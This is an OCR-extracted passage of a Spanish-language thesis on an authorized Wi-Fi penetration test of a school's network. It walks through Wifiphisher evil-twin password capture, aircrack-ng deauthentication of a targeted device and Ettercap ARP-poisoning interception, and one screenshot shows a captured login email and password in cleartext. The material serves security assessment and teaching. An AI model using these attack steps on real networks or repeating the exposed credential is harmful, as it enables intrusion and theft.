contrasefia de la red. En este caso varios usuarios ingresaron nuevamente la clave
de red.

- = [0

sudo] password for kali:

*] Starting Wifiphisher 1.4GIT ( https://wifiphisher.org ) at 2023-12-19 10:24
] Timezone detected. Setting channel range to 1-13

] Selecting wf -w1 ) interface for the deauthentication attack
] Selecting wl interface for creating the rogue Access Point

] Changing wlan® MAC addr (BSSID) to 00:00:00:3e:6c:34

] Changing wlan® MAC addr (BSSID) to 00:00:00:b4:88:e4

*] Cleared leases, started DHCP, set up iptables

] Selecting Network Manager Connect template

] Starting the fake access point...

] Starting HTTP/HTTPS server at ports 8080, 443

] Show your support!

] Follow us: https://twitter.com/wifiphisher

] Like us: https://vwww.facebook.com/Wifiphisher

[+] Captured credentials:

wfphshr-wpa-password=uepel

wfphshr-wpa-password=uepel
wfphshr-wpa-password=uepel

[ 1 Closing

Figura 31: Wifiphisher capturando credenciales de red
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c. Ataque de Denegacién de Servicios (DoS)

Son estrategias cibernéticas maliciosas destinadas a paralizar o disminuir la
disponibilidad de un servicio, recurso o red, haciéndolos inaccesibles para los usuarios

legitimos.

Estos ataques tienen como objetivo abrumar los sistemas objetivo con una carga tan

fuerte que impidan su funcionamiento adecuado.

En esencia, un atacante satura la capacidad de procesamiento, el ancho de banda o los
recursos del sistema, lo que hace que los usuarios legitimos no puedan acceder al
servicio. Esto puede lograrse de una variedad de maneras, como saturar una red con

trafico, explotar fallas en el software o agotar los recursos del sistema.

Para el ataque DoS se utiliz6 la herramienta Aircrack-ng esta aplicacién, proporciona
las capacidades necesarias para generar trafico malicioso y saturar deliberadamente
los recursos de la red. Aircrack-ng se utiliza para evaluar la capacidad de la
infraestructura de red de la institucion educativa para resistir interrupciones. Para
fortalecer la seguridad de la red, este enfoque tactico permite identificar posibles

debilidades y sugerir métodos de mitigacion especificos.
Los pasos para este ataque son los siguientes:

1. Habilitar el modo monitor de la tarjeta de red con el comando que se visualiza en

la Figura 32.

start wlano@

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
686 NetworkManager
2039 wpa_supplicant

Interface Driver Chipset
wlan@ ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

(mac80211 monitor mode vif enabled for [phy@]wlan® on [phy®]wlan@mon)
(mac80211 station mode vif disabled for [phy@Jwlan®)

Figura 32: Habilitar tarjeta de red modo monitor
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2. Verificar con el comando iwconfig, la tarjeta de red ahora aparece con el nombre

wlanOmon

lo no wireless extensions.

etho no wireless extensions.

ethl no wireless extensions.

wlan@mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

Figura 33: Interfaz de red en modo monitor

3. Monitorear las redes disponibles o redes en el &rea de cobertura con el comando

airdump-ng y la interfaz de red wlanOmon.

Fhome/kali

Figura 34: Comando buscar redes disponibles

W root@kali: fhome/kali

File Actions Edit View Help
CH 7 ][ Elapsed: 1 min 1[

D LLERENA

Figura 35: Redes disponibles encontradas
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4. Seleccionar un dispositivo que se encuentre conectado a la red victima para realizar

la denegacion de servicios.

[ Elapsed: 11 mins ][ @7 :34 ][ WPA handshake: D

ENC CIPHER AUTH ES

va Pelileo

Unidad Educativa Pelileo

EAPOL

Figura 36: Dispositivos conectados

5. Antes de ejecutar el ataque es importante capturar el handshake, la primera prueba
se realiza al router y se envian 300 mensajes, se utiliza la MAC de la puerta de

enlace.

— | -~

, o 3 -3 D8 79
11:1@8:46 Waiting for beacon frame | - - .-9] on channel 11
NE: Irg

a connected wireless client (

11:1@:46 Sending DeAuth (code 7) to

11:18: 47 nding De : to broadca

11:18: 47 nding De l e 7) to broadca

11 =10 nding De ( : to :

11:16 nding De i : to

11:1@:4 Sending De ( : to

11:1@:50 Sending De : to

11:18:50 Sending )

13:

11:

Figura 37: Comando de DoS a todos los dispositivos conectados al router
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6. Con el comando de la figura se envia 200 mensajes de des-autenticacion al
dispositivo con direccion MAC 2C:8D: B1:A2: D0:50

con frame (
DeAuth
DeAuth

DeAuth (

DeAuth (
DeAuth ( g :8D:
DeAuth ( = . STN 2C:8D:B . @:5@ 5]
DeAuth ( e . STM 2C:8D:B 2:D0:50 oles
DeAuth > . STM ] B 2:D@:5@ al76
DeAuth ( = . STN : ] B:5@ als1
DeAuth e . ; ]

DeAuth (code 7). STMAC : B @]

=N —Ny = Ny - Ry - Wy - Ry — Ry - Ry = Ay -y - §

[i7]

nding 64 di t

P =

Figura 38: Comando de des-autenticacién a un dispositivo

Al enviar 200 mensajes de des-autenticacion dirigidos a un dispositivo especifico, se
logré evitar que dicho dispositivo se conectara a la red. Este ataque tuvo un resultado
exitoso, mientras que los demas dispositivos continuaron manteniendo su conexion

sin interrupciones.
d. Ataque Man-in-the-Middle

Es una tactica compleja que pone en peligro la seguridad de las comunicaciones
digitales. Este tipo de ataque esta en el centro de la vulnerabilidad porque actia como

un intruso invisible que interfiere con la comunicacion entre dos partes.

Infiere entre dispositivos, usuarios o sistemas. El atacante man-in-the-middle
intercepta, altera e incluso genera datos en tiempo real, creando una ilusion de
comunicacion legitima en lugar de ser detectado directamente. Este fendmeno pone en

peligro la confidencialidad y la privacidad de la informacidn transmitida.

Para realizar este ataque se ejecuta a través de la herramienta Ettercap en Kali Linux.
Este método estratégico simula una situacion en la que un atacante puede interrumpir
la comunicacion entre dos partes. Para evaluar la vulnerabilidad de la red ante estas
amenazas, se emplea una variedad de técnicas MitM, como el envenenamiento de
ARP. Este andlisis detallado ayudara a desarrollar estrategias especificas para mejorar

la seguridad de la red al identificar posibles puntos de debilidad.
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Los pasos para la ejecucion de este ataque son:

1. En la parte superior izquierda seleccionar el icono de Kali y buscar ettercap
grafical. Abrir y seleccionar como primary interface wlan0, en los tres puntos

escoger promisc mode, finalmente presionar en el simbolo de visto.

Ettercap

Sniffing at startup

Primary Interface
Bridged sniffing

Bridged Interface

Figura 39: Ettercap, interfaz grafica

Sniffing at startup

. : . Promisc mode

Primary Interface  wl
SetNetmask

Bridged sniffing

Bridged Interface

Figura 40: Activar modo promiscuo

2. En la parte superior presionar en el icono de lupa para la busqueda de host de la
red.

Ettercap

Host List !

Hosts List

Figura 41: Busqueda de hosts
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3. Con la opcidn List Host, se listan los Host activos.

EQ = Ettercap

HostList x

IPAddress MACAddress -
10.67.138.1 D8:49:0B:62:77:7C

10
10

Figura 42: Host encontrados

4. Seleccionar los targets, la IP de la victima como TARGET1 y la IP de la puerta de
enlace como TARGET2 como se visualiza en la Figura 43.

mQ = Ettercap

Host List x
IP Address MACAddress Description
10.67.138.1 D8:49
10.67.138.5 1A:FF:90:D3:9F:98
10.67.138.7 D4:85:64:9A:AB:55
10.67.138.8 D4:85:64:

Delete Host Addto Target 1 Add to Target 2

4 hosts added to the hosts list...
Host 38.7 added to TARGET1
8.1added to TARGET2

Figura 43: Seleccion de targets, IP de victima e IP del atacante
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5. En la parte superior derecha escoger el icono de mundo y seleccionar ARP

Poisoning para envenenar las tablas ARP.

ARP poisoning...
DAHG8. local NDP in

Port stealing...
DHCP spoofing...
Stop MITM attack(s)

SSL Intercept

Figura 44: ARP poisoning

6. Seleccionar Sniff remote connections.

Cancel MITM Attack: ARP Poisoning

Optional parameters
# Sniff remote connections.

Only poison one-way.

Figura 45: Sniff remote connections

7. Para observar el trafico de la red que existe ingresar a Wireshark. Elegir el tipo de
tarjeta de red que esté utilizando, en este caso wlan0, de esta manera se visualiza

el tréfico de los dispositivos inalambricos conectados en la red.

Welcome to Wireshark

...using this filter: || Enter a capture filter '] All interfaces shown~

eth0

ethl

eth2

ELY

Loopback: lo
bluetoothO

wlan0
bluetooth-monitor

Figura 46: Eleccion de tarjeta de red en la Interfaz de Wireshark
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8. Wireshark muestra todo el trafico, los protocolos de red, los paquetes de datos, IP

emitidas y receptadas en consultas, entre otras cosas.

AOA@ cBB@ a2 ¢« >0 «> 1 o oo [H

Destination Protocol Length Info

9716 227.304250001 feB0::b48:a3f0:19b7.. ffO2::16 ICMPvE

9717 227.310418259 0.0.0.0 255.255.255.235 DHCP 330 DHCP Request
9718 227.425075350 10.67.138.1 10.67.138.10 DHCP 590 DHCP ACK - Transa
9719 227.425137457 Alfa_98:f6:d3 Broadcast ARP 42 Who has 10.67.138.17
9720 227.425176866 10.67.138.7 181.113.160.13 QuIcC 75 Protected Payload
9721 227.425378851 10.67.138.7 181.113.160.13 QUIC 1148 Protected Payload
9722 227.425392298 10.67.138.7 181.113.160.13 QUIC 76 Protected Payload
9723 227.567363515 10.67.138.7 157.240.6.35 QUIC 71 Protected Payload
9724 227.568278972 HuaweiTe 62:77:70 Alfa_98:f6:d3 42 10.67.138.1 is at

.568295113 10.67.138.10 10.67.138.1

Frame 9725: 59

Ethernet II, S

Internet Protocol Version

Internet Control Message Protocol
Dynamic Host Configuration Protocol (ACK)

Figura 47: Tréfico de red en Wireshark

9. Ingresar http como filtro para observar los paquetes que se envian por este

protocolo de internet, el cual refleja la navegacion.

fe *wlan0

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOA® c BEB@aec»n e« >»xEE ool
N |http BE -]+

No. Time Source Destination Protocol Length Info
4528 180.721214591 10.67.138.7 176.208.88.6 HTTP 762 POST /login?mode=login HTT
5162 188.222081519 178.208.88.6 10.67.138.7 732 HTTP/1.1 200 OK (text/htm
7109 199.152877655 10.67.138.7 178.208.88.6 HTTP 763 POST /login?mode=login HTT!
7248 199.550973223 178.208.88.6 10.67.138.7 HTTP 732 HTTP/1.1 200 OK (text/htm

11756 274.258911490 10.67.138.7 181.112.12.18 HTTP 475 GET /filestreamingservice/

11776 274.307306465 10.67.138.7 181.112.12.32 HTTP 475 GET /filestreamingservice/

11939 274.723701012 181.112.12.18 10.67.138.7 HTTP " 1829 HTTP/1.1 206 Partial Conte

12143 275.523936528 181.112.12.32 168.67.138.7 HTTP 16829 HTTP/1.1 206 Partial Conte

12234 275.749089071 10.67.138.7 181.112.12.10 HTTP 491 GET /filestreamingservice/

12571 278.427925989 10.67.138.7 181.112.12.32 491 GET /filestreamingservice/

v Frame 4528: GE 762 bytes captur
+ Ethernet II, Src: & 4:85:64:9a:ab:55) 5
+ Internet Protocol Ve i ! 18

» Transmission Control Protocol, Src Port: 56 .

M Hypertext Transfer Protocol

+ HTML Form URL Encoded: application/x-www-form-urlencoded

e 31 0d 0a 48

Figura 48: Filtrado de Http en Wireshark
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10. Ettercap captura credenciales las cuales provienen de un Http seguido de una

direccion url de un sitio web.

m aq = Ettercap

HostList x

IP Address MAC Adgaaas Description
10.67.138.1 D8:49:(
1A:FF:90T055F.55

Add to Target 1 Add to Target 2

hg-ground.web
W=y .41' 8]

an45% u4(Jgr'nj|L com&py

Figura 49: Captura de credenciales

Durante el andlisis de Wireshark se observan dos métodos: GET y POST. Ambos
métodos analizan el trafico de datos de la navegacion web, especialmente cuando un
usuario completa un formulario de registro en un sitio web. Se puede verificar
informacidn importante sobre las actividades de inicio de sesion al concentrarnos en
el método POST.

La funcién Follow se utilizé para explorar estos datos de manera mas profunda, y
luego se realizd el analisis del flujo TCP correspondiente. Este método permitid
acceder y examinar de manera precisa los paquetes de datos relacionados con las
interacciones de inicio de sesion, lo que mejor6 la comprension de la seguridad y los

detalles del proceso.
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Wireshark « Follow TCP Stream (tcp.stream eq 199) - wlan0

POST /login?mode=login HTTP/1.1]
Host: testing-ground.webscraping.pro|
IConnection: keep-alive
IContent-Length: 39
ICache-Control: max-age=0
Upgrade-Insecure-Requests: 1
origin: http://testing-ground.webscraping.pro
IContent-Type: application/x-www-form-urlencoded|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp, image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.7|
Referer: http://testing-ground.webscraping.pro/login?mode=1ogin
JAccept-Encoding: gzip, deflate
JAccept -Language: es-ES,es;q=0.9

usr=ingmarco72%46gmail.com&pwd=1ngM2160HTTP/1.1 260 O

ontent-Type: text/html; charset=UTF-8§|
ransfer-Encoding: chunked|
onnection: keep-alive
Keep-Alive: timeout=66

7 pkt, ths, 1turn.

Figura 50: Informacion y credenciales de usuario mediante el método Post.

Para verificar que el ataque se ha dado con éxito, podemos observar la MAC del equipo

que realiza el ataque, en este escenario es Kali Linux.

@ dropped @ overruns @ carrier @ collisions @

wlan@: flags=41f > mtu 1500
i broadcast 10.6
n 64 scopeid @

txqueuelen 1
(479.3 KiB)
dropped @ overruns @ frame
ts 491 bytes ' .3 KiB)
dropped @ overruns @ carrier @ collisions @

Figura 51: Direccion MAC méquina atacante
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En Wireshark se puede observar que la puerta de enlace adquiere la Mac del equipo

intruso y de la misma forma el dispositivo atacado. Asi todo el trafico que envian al

realizar solicitudes pasa por la maquina que realiza el ataque como se puede visualizar

en la Figura 52 y en la Figura 53.

840769200
756183699
756217155
760442551
760588690
.064861123
.064932451

» Frame 58:
» Ethernet II, Src:

HewlettP_9
Resolution Prot

Alfa_98:f6:d3
HewlettP_9a:ab:55
HewlettP_9a:ab:55
Alfa_98:f6:d3
Alfa_98:f6:d3
HuaweiTe_62:77:70
Alfa_98:f6:d3

col (request)

type: Ethernet (1)

Proto
Opcode:
Sender
Sender

MAC address:

IP addre

68 bytes on wire (480 bits), 68 bytes
ab:55 (d4:85:6

HewlettP_9a:ab:55
Alfa_98:f6:d3
Alfa_98:f6:d3
HewlettP_9a:ab:55
HewlettP_9a:ab:55
Broadcast
HuaweiTe_62:77:70

captured (¢
1:ab:55), Ds

42 10.67.138.1 is at
60 Who has 10.67.138.
60 Who has 10.67.138.
42 10.67.138.1 is at
42 10.67.138.1 is at
42 Who has 10.67.138.
42 10.67.138.9 is at

Figura 52: Direccion MAC atacante, adquirida por la puerta de enlace

File Edit View Go Capture Analyze Statistics Telephony Wireless

Tools

Help

AOA® o @K@

Q € > N -« > B

Destination Protocol Length Info

5.064861123
5.064932451
6.637441809
6.637492724
10.267085898
11.281493881
12.006680285

HuaweiTe 62:77:70
Alfa_98:f6:d3
Alfa_98:f6:d3
Alfa_98:f6:d3
HuaweiTe_62:77:70
HuaweiTe 62:77:70
HewlettP_9a:ab:55

v Frame 87: 42 bytes on wire (336 bits), 42

:f6:d3 (00 o
(reply)

(1)

Opcode
Sender
Sender
Target

Target I

[Duplicate IP address detected for 10.67.138.1 (d8:49:8b:62:77:70) - also in use by GB:c@:ca:98:f6:d

a

:98:f6:d3), Dst:

Broadcast
HuaweiTe_62:77:70
HewlettP_9a:ab:55
HuaweiTe_62:77:70
Broadcast
Broadcast
Alfa_98:f6:d3

42 Who has 10.67.138.
42 10.67.138.9 is at
42 10.67.138.1 is at
42 10.67.138.7 is at
42 Who has 160.67.138.
42 Who has 10.67.138.
66 Who has 160.67.138.

bytes captured (336 bits) on interface wlan@, id @

HuaweiTe 62:77:70 (d8:4

:0b:62:77:70)

Figura 53: Direccion MAC atacante, adquirida por la victima
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3.2.3 Resultado de los ataques

Para presentar los resultados de los ataques se optd en formato de tabla, para
proporcionar una vision general completa y organizada de las pruebas realizadas. Este
enfoque tabular permite una rapida asimilacion de mensajes clave, destacando
claramente el estado y los resultados de cada tipo de ataque. Ademas, ayuda a
comparar diferentes ataques, proporcionando una vista estructurada para ayudar a
identificar patrones y tendencias de seguridad en la red evaluada. Este formato
proporciona una herramienta de visualizacion eficaz que simplifica la interpretacion
de los resultados y le ayuda a tomar decisiones informadas sobre las medidas de

seguridad necesarias.

Tabla 11: Resultados de los ataques

Ataque Estado Resultado
Fuerza Brutay ' No Exitoso e  Se seleccionaron diccionarios preestablecidos y reconocidos,
diccionario asi como uno creado con palabras clave.

e Se basé en la prueba de mdltiples comparaciones con
diccionarios con combinaciones de contrasefias hasta

encontrar la de la institucion.
e  Fue un proceso intensivo y requirié tiempo.
e Su efectividad dependi6 en gran medida de la debilidad de la
contrasefia.
Evil Twin Exitoso e Implicé la creacién de un AP falso para engafiar a los

usuarios.

e Aprovecha la falta de autenticacion adecuada y la divulgacion
de SSID.

e Fue efectivo cuando los usuarios se conectaron

automaticamente a redes conocidas.
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Denegacién de

Servicios

Man in the
Middle

3.2.4 Identificacion de Vulnerabilidades

Exitoso e Se abrumo el sistema o red con trafico, incapacitando sus

servicios.

e  Sepudo ejecutar por una sola entidad con recursos limitados.

e Destaca vulnerabilidades en la disponibilidad de servicios.

Exitoso e Se logro la intercepcion de la comunicacion entre dos partes.

e Fue utilizado para espionaje y robo de datos.

o Se explotd vulnerabilidades en la autenticacion y cifrado de

la comunicacion.

Mediante la utilizacion de la metodologia ISSAF con controles OWISAM durante el

proceso de identificacion de vulnerabilidades en la red inalambrica, permitié explorar

y evaluar la infraestructura de la red en busca de debilidades potenciales que podrian

ser explotadas por personas malintencionadas. La Tabla 10 proporciona un resumen

de las vulnerabilidades identificadas tanto de los ataques activos como los pasivos y

una descripcion detallada de cada elemento evaluado. Este proceso de identificacion

es esencial para fortalecer la red y garantizar la privacidad de los recursos conectados.

SubFase

ISSAF

Recopilacion

Informacion

Escaneo

de

Tabla 12: Identificacién de Vulnerabilidades

Pruebas/ Controles

OWISAM

Descubrimiento activo de
dispositivos y redes.

Identificacion de
funcionalidades soportadas
por el dispositivo.
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Vulnerabilidades

Divulgacion de informacion de la red wifi.

Obtencidn de datos de dispositivos de
comunicacion inalambrica (hardware y
software ).



Auditoria

Andlisis y

Busqueda

Explotacion y
Ataques

Pruebas sobre WPS.

Interfaces administrativas
expuestas a la red.

Prueba de AP/Router

Verificacion del grado de
amplitud de sefial o area de
alcance.

Anélisis protocolos de cifrado
WEP, TKIP

Captura y cracking de

claves transmitidas en el
proceso de autenticacion.

Evil Twin

Pruebas de desautenticacion
-DoS

Ataque Man in the middle

Fuerza Bruta
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Ingreso no autorizado a la red Wi-Fi.

Funcionalidad activada de autenticacion

mediante el protocolo WPS.

Entrada a la gestion de dispositivos

mediante la puerta de enlace
predeterminada.

Recopilacion de informacion sobre los

puertos, servicios y protocolos activos.

Rango de cobertura limitado.

Transmision de sefiales de clientes no

autorizados.

Intervencion en la comunicacion.

Adquisicion de datos confidenciales.

Autenticacion de redes inalambricas.

Interrupcion de servicios.

Red inaccesible para un solo usuario o para

todos los usuarios legitimos.

Intercepcion
comunicacién entre dispositivos.

No implementacion de medidas de

y manipulacién

de

seguridad, especialmente robustez en

contrasefias.
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c. Fase 3: Reportes, Limpieza y Destruccion de Artefactos

Esta etapa implica mostrar los resultados de las pruebas de penetracion y las pruebas
de seguridad basados en los controles OWISAN cabe recalcar que estas pruebas se
encuentran detallados en el Anexo B. El informe resultante es significativo porque
documenta las debilidades descubiertas, los métodos utilizados y las sugerencias para
mejorar la seguridad de la red. Este informe no solo brinda informacion a los
responsables del area TI, también proporciona sugerencias sobre cdmo mitigar las

debilidades identificadas en la infraestructura de red Institucional, ver Anexo C.

La limpieza y destruccion de artefactos se enfoca en garantizar que cualquier cambio
o insercion realizada durante las pruebas sea revertida. Es fundamental para mantener

la integridad del sistema y eliminar cualquier huella de las actividades de evaluacion.

Las pruebas se realizan creando un entorno virtual que se eliminara después de enviar
los archivos correctos sin guardar una copia en el disco. Si el docente encargado de Tl
de la Institucion lo desea, el autor permite que la revision se realice en su ordenador,
con el objetivo de indicar que no existe informacion sobre la organizacion del

mencionado entorno virtual.
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CAPITULO IV. CONCLUSIONES Y RECOMENDACIONES

4.1 Conclusiones

e Se investigd las vulnerabilidades presentes en las redes inalambricas,
brindando una perspectiva sobre como ejecutar las pruebas éticas y seguras
durante el desarrollo de esta investigacion, reduciendo los posibles dafios y
maximizando la efectividad de los ataques.

e Se determind que Aircrack-ng posee suites que lograron desautenticar
usuarios y obtener el handshake de la red en poco tiempo, Ettercap intercepto
credenciales como usuario y contrasefia. Ademas, se duplico la red para

capturar la clave de acceso utilizando Wifiphisher.

e Durante la realizacion de las pruebas de intrusion controladas en la
infraestructura de red WiFi de la Unidad Educativa Pelileo, se proporcionaron
resultados relevantes, evidenciando vulnerabilidades como ataques Evil Twin,
DoS y Man in the middle.

e Al documentar las pruebas de intrusion realizadas, se logrd verificar el éxito
de los diferentes ataques con la informacién obtenida en cada uno de estos,
como el cracking de contrasefias logrando el ingreso no permitido a la red e

intercepcion del trafico http.
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4.2 Recomendaciones

Antes de ejecutar cualquier prueba de intrusion en las redes inalambricas, se
recomienda realizar una investigacion de vulnerabilidades mas recientes y
practicas de pentesting. La probabilidad de fallar o cometer errores durante el

desarrollo de estas, puede reducirse en gran medida.

Se recomienda utilizar herramientas como Ettercap, Wifiphisher o Wireshark
que pueda realizar los diferentes tipos de ataques para obtener una evaluacion

mas detallada de la red, garantizando la ejecucion de pruebas de seguridad.

Se recomienda tener una tarjeta de red con chipset compatible para realizar
pruebas de penetracion, de lo contrario no se podra realizar ningun tipo de

ataque y evaluar la seguridad o vulnerabilidades presentes en la red.

Es importante proporcionar una documentacion detallada de los resultados
obtenidos durante la identificacion de wvulnerabilidades en la conexion
inaldmbrica, para registrar los hallazgos y también de manera efectiva las
recomendaciones con el fin de mejorar la seguridad de la infraestructura

Institucional.
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ANEXOS

Anexo A. Lista controles OWISAM

Descubrimiento de puntos Existencia de rogue

de acceso. ApS.

debilidades en el firmware

Descubrimiento de redes ocultas. y seguridad por oscuridad.

Identificacion pasiva de direcciones
Dispositivos no

MAC de

. .. autorizados.
dispositivos.
Descubrimiento de Conexién

preferencias de redes conocidasde  |lautomaticaaredes

clientes. inseguras.
Descubrimiento activo de Descubrimiento de
dispositivos y redes. informacion.
Identificacién de relaciones Descubrimiento de

entre dispositivos. informacion.

Obtencion de informacion
Identificacion del dispositivo. sobre el hardware y

software.

Obtencion de informacién

Identificacion de funcionalidades
sobre el hardware y

soportadas por el dispositivo.
software.
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Enumeracion de mecanismos de
autenticacion radius
(802.1x)

Mecanismos de
autenticacion

inseguros

OWISAM-
FP-004

Deteccion de Rogue APs

Intrusos en redes
Wi-Fi.

OWISAM-
FP-005

Pruebas de client isolation

Ataques a clientes.

OWISAM-
FP-006

Deteccion de ataques por

parte de dispositivos Wi-Fi.

Deteccidn de proteccion de

acceso basado en MAC.

Intrusos en redes
Wi-Fi.

Autenticacion

contra redes Wi-Fi.

OWISAM-
AU-002

Pruebas sobre WPS

Acceso no autorizado a
redes Wi-Fi.

OWISAM-

AU-003

Pruebas de downgrade del método

de autenticacion

Inseguridad en
mecanismos de

autenticacion.

OWISAM-

AU-004

Capturay cracking de
claves transmitidas en el proceso

de autenticacion.

Credenciales
débiles.

OWISAM-
AU-005

Uso de protocolos de
autenticacion inseguros
(FAST-EAP,LEAP,EAP-
MD5,...)

Interceptaciony
descifrado de

credenciales.

Pruebas de fuerza bruta de

OWISAM- . . Credenciales
usuarios contrasefias de

AU-006 . débiles.
radius (802.1x)
Pruebas de fuerza bruta de Posibilidad de
contrasefias contra el descifrar
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proceso de autenticacién
(PSK)

contrasefias débiles

offline.

OWISAM-
CP-001

Debilidades en repositorio de

credenciales

Captura y andlisis de trafico en red

abierta.

Acceso no autorizadoy
robo
de credenciales.

Transmision de
informacion sensible.

OWISAM-
CP-002

Descifrado de trafico cifrado

Transmision de

informacion insegura.

OWISAM-
CP-003

Pruebas de analisis de
informacion transmitida a través de

Wireless

Obtencion de
informacion

sensible.

OWISAM-
CP-004

Anadlisis de protocolos de cifrado
inseguro (WEP,
TKIP,...)

Debilidad de seguridad en

lared.

OWISAM-

Pruebas de renovacion de claves de

cifrado

Tiempo de vida de

claves criptogréficas

elevado.

OWISAM-
CF-001

Pruebas de re-inyeccion de

trafico (replay attack, Mic,..)

Identificacion de redes wireless con

ESSID genérico.

Suplantacion de

identidad.

Suplantacion de identidad

y ataques basados en

memory trading.

OWISAM-
CF-002

Contrasefias genéricas en

interfaz administrativa del

Credenciales

débiles y acceso no
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punto de acceso

autorizado.

OWISAM-
CF-003

Verificacion del nivel de intensidad
de sefial o area

de cobertura.

&rea de cobertura excesiva.

OWISAM-
CF-004

Anélisis del solapamiento
de redes en el mismo canal de

comunicaciones

Degradacion de la calidad

del servicio.

OWISAM-

Generacion de claves en base a
algoritmos

conocidos

Algoritmos de claves PSK
o WPS
débiles.

Pruebas sobre Upnp

Debilidades en el firmware del AP.

Redireccion de

puertos.

Robo de credenciales y

acceso no autorizado.

Interfaces administrativas

Acceso no autorizado e

interceptacion de

expuestas a la red trafico.

Acceso a
Politica de firewall incorrecta

segmentos de red

restringidos.

Controles sobre mecanismos de
deteccién
de intrusos.

Ausencia de
sistemas de

monitorizacion.

Pruebas de verificacion de

tineles VPN (sobre redes abiertas...)

Interceptacion de

comunicaciones

Debilidades en servidor

Ejecucion remota
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radius

de codigo o
denegacion de

servicio.

OWISAM-
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Vulnerabilidades incubadas

Debilidades en elementos
de arquitectura o
software.

OWISAM-
IF-008

Gestion
(Alta/baja/modificacién) de claves

y certificados.

Gestién incorrecta

de claves de acceso.

OWISAM-

Dispositivos de comunicaciones

accesible/expuestos

fisicamente

Acceso no autorizado y
modificacion de

firmware.

OWISAM-
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Deteccion y andlisis de

sistemas Scada.

Pruebas de deautenticacion

Acceso a sistemas

de control industrial.

Interceptacion de
credenciales de
autenticacion.

OWISAM-
DS-002

Saturacion del canal de
comunicaciones (CTS/RTS,ruido,
jammering,

)

Ataques a la
disponibilidad del servicio.

OWISAM-
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Bloqueo de cuentas de

usuario

Bloqueo de

cuentas.

OWISAM-
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Bloqueo de dispositivo de

comunicaciones

Suplantacion de

punto de acceso y DOS.
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Pruebas de degradacion del

canal de comunicaciones

Degradacion del

Servicio.
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n/a

OWISAM-
GD-002

Deteccidn de dispositivos

emitiendo en frecuencias restringidas.

Emision de sefial no

autorizada.

OWISAM-
GD-003

Analisis de la politica de
uso/restriccion de uso de
redes inalambricas

Accesos indebidos.

OWISAM-
GD-004

Andlisis de la configuracién

de dispositivos.

Configuracion

incorrecta.

OWISAM-

Anélisis de la politica de gestion y

cambio de claves

Tiempo de vida de

contrasefias elevado.

Verificacion de inventario de

dispositivos autorizados

Pruebas de Rogue Ap y asociacion

automatica

Inventario no

actualizado.

Suplantacion de
identidad y robo de

credenciales.

OWISAM-

Analisis de APTs (Advanced
Persistent Threats) sobre
Wireless.

Existencia de ataques

persistentes.

OWISAM-

Desbordamiento de buffer en

cliente.

Ausencia de parches de
seguridad y ejecucion

remota de codigo.

Extraccion de

identificadores de usuarios

Recopilacion de

informacion y
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https://www.owisam.org/es/index.php/OWISAM-GD-001
https://www.owisam.org/es/index.php/OWISAM-GD-001
https://www.owisam.org/es/index.php/OWISAM-GD-002
https://www.owisam.org/es/index.php/OWISAM-GD-002
https://www.owisam.org/es/index.php/OWISAM-GD-003
https://www.owisam.org/es/index.php/OWISAM-GD-003
https://www.owisam.org/es/index.php/OWISAM-GD-004
https://www.owisam.org/es/index.php/OWISAM-GD-004
https://www.owisam.org/es/index.php/OWISAM-GD-005
https://www.owisam.org/es/index.php/OWISAM-GD-005
https://www.owisam.org/es/index.php/OWISAM-GD-006
https://www.owisam.org/es/index.php/OWISAM-GD-006
https://www.owisam.org/es/index.php?title=OWISAM-CT-001&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-001&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-002&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-002&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-003&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-003&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-004&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-004&action=edit&redlink=1

(802.1x)

configuracion

insegura.

Pruebas sobre suplicant débil o

inseguro.

Ausencia de validacion de
certificados.

Ataques contra clientes

Modificacion de

respuestas DNS,..

Extraccion de credenciales

de los clientes

Acceso a otros segmentos de red sin

autenticacion

Suplantacion de

identidad.

Segmentacion o politica de

cortafuegos

incorrecta

Debilidades en el

mecanismo de autenticacion.

Acceso no autorizado.

Pruebas de encapsulacion de trafico
con el exterior

Evasion del
mecanismo de

autenticacion.

Debilidades en portal

captivo

AcCCeso no

autorizado.
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https://www.owisam.org/es/index.php?title=OWISAM-CT-005&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-005&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-006&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-006&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-007&action=edit&redlink=1
https://www.owisam.org/es/index.php?title=OWISAM-CT-007&action=edit&redlink=1
https://www.owisam.org/es/index.php/OWISAM-HS-001
https://www.owisam.org/es/index.php/OWISAM-HS-001
https://www.owisam.org/es/index.php/OWISAM-HS-002
https://www.owisam.org/es/index.php/OWISAM-HS-002
https://www.owisam.org/es/index.php/OWISAM-HS-003
https://www.owisam.org/es/index.php/OWISAM-HS-003
https://www.owisam.org/es/index.php/OWISAM-HS-004
https://www.owisam.org/es/index.php/OWISAM-HS-004

Anexo B. Subfase de la metodologia ISSAF con pruebas de controles OWISAM

Prueba 1. Descubrimiento activo de dispositivos y redes

Proceso

Descubrir informacidn de la red inaldmbrica de la Institucion.
Pre- requisitos

Instalar Acrylic Wifi Analyzer

Ejemplos/Resultados

24GHz Y Anadir filtro Visor de paquetes Dn.

t # Tem. RSSI Tipo Subti... BSSID MAC destino Tamafio  Descripcion
| 0 07401 - Management Beacon 8C:A2:F4:3F:76:30 [Broadcast] 379 SSID: LABORATORIO3 |
